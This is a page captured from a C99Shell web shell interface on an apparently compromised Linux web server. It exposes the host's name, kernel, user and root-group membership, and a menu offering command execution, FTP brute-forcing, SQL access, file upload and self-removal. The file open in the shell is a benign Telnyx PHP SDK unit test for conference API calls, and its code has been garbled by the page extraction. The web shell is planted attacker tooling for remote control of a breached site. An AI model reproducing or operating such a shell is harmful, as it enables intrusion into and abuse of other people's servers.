!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/telnyx/telnyx-php/tests/api_resources/   drwxr-xr-x
Free 29.25 GB of 117.98 GB (24.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ConferenceTest.php (4.8 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Telnyx;

/**
 * @internal
 * @covers \Telnyx\Conference
 */
final class ConferenceTest extends \Telnyx\TestCase
{
    const 
TEST_RESOURCE_ID '123';
    const 
TEST_CALL_CONTROL_ID '891510ac-f3e4-11e8-af5b-de00688a4931';

    public function 
testIsListable()
    {
        
$this->expectsRequest(
            
'get',
            
'/v2/conferences'
        
);
        
$resources Conference::all();
        
$this->assertInstanceOf(\Telnyx\Collection::class, $resources);
        
$this->assertInstanceOf(\Telnyx\Conference::class, $resources['data'][0]);
    }

    public function 
testIsCreatable()
    {
        
$this->expectsRequest(
            
'post',
            
'/v2/conferences'
        
);
        
$resource Conference::create([
            
"name" => "Business",
            
"call_control_id" => self::TEST_CALL_CONTROL_ID
        
]);
        
$this->assertInstanceOf(\Telnyx\Conference::class, $resource);
    }

    public function 
testIsRetrievable()
    {
        
$this->expectsRequest(
            
'get',
            
'/v2/conferences/' urlencode(self::TEST_RESOURCE_ID)
        );
        
$resource Conference::retrieve(self::TEST_RESOURCE_ID);
        
$this->assertInstanceOf(\Telnyx\Conference::class, $resource);
    }

    public function 
testJoin()
    {
        
$conference Conference::retrieve(self::TEST_RESOURCE_ID);

        
$this->expectsRequest(
            
'post',
            
'/v2/conferences/' urlencode(self::TEST_RESOURCE_ID) . '/actions/join'
        
);
        
$resource $conference->join([
            
'call_control_id' => self::TEST_CALL_CONTROL_ID
        
]);
        
$this->assertInstanceOf(\Telnyx\TelnyxObject::class, $resource);
    }
    
    public function 
testMute()
    {
        
$conference Conference::retrieve(self::TEST_RESOURCE_ID);

        
$this->expectsRequest(
            
'post',
            
'/v2/conferences/' urlencode(self::TEST_RESOURCE_ID) . '/actions/mute'
        
);
        
$resource $conference->mute([
            
'call_control_ids' => [self::TEST_CALL_CONTROL_ID]
        ]);
        
$this->assertInstanceOf(\Telnyx\TelnyxObject::class, $resource);
    }
    
    public function 
testUnute()
    {
        
$conference Conference::retrieve(self::TEST_RESOURCE_ID);

        
$this->expectsRequest(
            
'post',
            
'/v2/conferences/' urlencode(self::TEST_RESOURCE_ID) . '/actions/unmute'
        
);
        
$resource $conference->unmute([
            
'call_control_ids' => [self::TEST_CALL_CONTROL_ID]
        ]);
        
$this->assertInstanceOf(\Telnyx\TelnyxObject::class, $resource);
    }
    
    public function 
testHold()
    {
        
$conference Conference::retrieve(self::TEST_RESOURCE_ID);

        
$this->expectsRequest(
            
'post',
            
'/v2/conferences/' urlencode(self::TEST_RESOURCE_ID) . '/actions/hold'
        
);
        
$resource $conference->hold([
            
'audio_url' => 'http://example.com/message.wav',
            
'call_control_ids' => [self::TEST_CALL_CONTROL_ID]
        ]);
        
$this->assertInstanceOf(\Telnyx\TelnyxObject::class, $resource);
    }
    
    public function 
testUnhold()
    {
        
$conference Conference::retrieve(self::TEST_RESOURCE_ID);

        
$this->expectsRequest(
            
'post',
            
'/v2/conferences/' urlencode(self::TEST_RESOURCE_ID) . '/actions/unhold'
        
);
        
$resource $conference->unhold([
            
'call_control_ids' => [self::TEST_CALL_CONTROL_ID]
        ]);
        
$this->assertInstanceOf(\Telnyx\TelnyxObject::class, $resource);
    }
    
    public function 
testParticipants()
    {
        
$conference Conference::retrieve(self::TEST_RESOURCE_ID);

        
$this->expectsRequest(
            
'get',
            
'/v2/conferences/' urlencode(self::TEST_RESOURCE_ID) . '/participants'
        
);
        
$resources $conference->participants();
        
$this->assertInstanceOf(\Telnyx\Conference::class, $resources);
    }

    
/*
    public function testDialParticipant()
    {
        $conference = Conference::retrieve(self::TEST_RESOURCE_ID);

        $this->expectsRequest(
            'post',
            '/v2/conferences/' . urlencode(self::TEST_RESOURCE_ID) . '/actions/dial_participant'
        );
        $resource = $conference->dial_participant();
        $this->assertInstanceOf(\Telnyx\TelnyxObject::class, $resource);
    }
    */
    
    
public function testSpeak()
    {
        
$conference Conference::retrieve(self::TEST_RESOURCE_ID);

        
$this->expectsRequest(
            
'post',
            
'/v2/conferences/' urlencode(self::TEST_RESOURCE_ID) . '/actions/speak'
        
);
        
$resource $conference->speak([
            
'language' => 'en-US',
            
'payload' => 'Say this to participants',
            
'voice' => 'female'
        
]);
        
$this->assertInstanceOf(\Telnyx\TelnyxObject::class, $resource);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--